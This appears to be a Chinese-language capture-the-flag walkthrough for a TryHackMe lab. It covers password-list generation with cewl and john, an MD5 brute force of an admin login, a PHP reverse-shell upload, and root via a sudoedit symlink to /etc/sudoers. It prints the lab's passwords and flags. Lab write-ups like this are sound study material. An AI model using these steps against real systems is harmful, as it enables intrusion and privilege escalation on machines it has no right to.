端口扫描

Web

根目录是一些介绍,我们进入/admin,发现要登录,试了个admin:admin给了个提示说密码是个很重要的字母,后面跟2个数字和一个特殊字符

并且抓包发现密码是会被加密上传的,而且加密形式应该是MD5

密码爆破

接下来我们要猜测密码了,既然他都给了提示。用户名应该是marco,提示估计也是在网页中寻找,可以用cewl工具来收集网页中的信息然后生成密码字典

cewl -w list.txt -d 5 -m 5 http://10.10.211.133/

生成一个list字典,有大小写的区分,不过猜测房间应该不会难为我们,就先全转成小写的

vim lower.py

生成字典,我们可以用john

先编辑john的配置文件

sudo vim /etc/john/john.conf

Shift+G跳转到文本底部,添加上自定义的规则

[List.Rules:PigRule]
Az"[0-9][0-9][!?#$%&/()=]"

john --wordlist=listlower.txt --rules=PigRule --stdout>pass.txt

生成字典,可以看到密码还是非常多的,然后我们要进行MD5加密

import hashlib

# 打开原始密码字典文件和新密码字典文件
with open('pass.txt', 'r') as f_in:
with open('passwords_md5.txt', 'w') as f_out:
# 逐行读取原始密码字典文件中的内容
for line in f_in:
# 去除行末的换行符
line = line.strip()
# 计算密码的 md5 哈希值
hash_obj = hashlib.md5(line.encode())
hash_value = hash_obj.hexdigest()
# 将密码的哈希值写入新密码字典文件
f_out.write(hash_value + '\n')

然后要么用burpsuite来爆破,要么hydra或者fuzz,burpsuite非专业版爆破的速度实在是太慢了

不知道为什么fuzz爆破报不出来,感觉是前面哪一步搞错了。

总之爆破得到密码是savoia21!

其实完全不需要这么麻烦,看了about里面大概能猜到savoida21,然后随便猜个特殊字符就完事了

flag1

THM{MDg0MGVjYzFjY2ZkZGMzMWY1NGZiNjhl}

横向移动

看到还有一个curtis用户,也需要转移到它上面

在/var/www目录找到一个admin.db,但是没有权限查看

发现所有者是www-data,也就是说我们能够用反弹shell来获取www-data的权限。上传一个反弹shellPHP脚本

在网站的根目录放置一个reverseshell,开启监听,然后在浏览器访问

得到www-data的shell后chmod 777 admin.db给予所有人权限

发现乱码,应该是一个数据库文件不能直接打开,传到kali查看

找到curtis用户的密码哈希,直接在线解密

Donald1983$

切换至curtis用户

在家目录找到第二个flag

THM{Y2Q2N2M1NzNmYTQzYTI4ODliYzkzMmZh}

提权

sudo -l 查看

可以用sudoedit来编辑这个目录下的config.php,一般是用这权限来编辑任意文件,我们可以利用来添加用户至/etc/sudoers来达到提权的目的

可以利用链接的方式来做到,因为要对/var/www目录进行操作,所以还要用到marco用户

在/var/www/html目录下:

mkdir ./1

cd 1

mkdir ./2

cd 2

ln -s /etc/sudoers config.php

建立目录,并且建立符号连接,将/etc/sudoer链接至config.php,那么更改/etc/sudoer更改的将是config.php

转移回curtis用户

sudoedit /var/www/html/1/2/config.php

添加上curtis ALL=(ALL) NOPASSWD: ALL

sudo /bin/bash

root.txt

THM{MjcxNmVmYjNhYzdkZDc0M2RkNTZhNDA0}

碎碎念

难度还挺高的靶机,不过也就是在爆破得到marco密码那里比较难吧,对数据的处理,爆破什么的还是挺细节的。后面的话中规中矩吧,如果有编辑器之类的权限,就可以试着添加/etc/sudoers,或者之间新建个用户添加到/etc/passwd。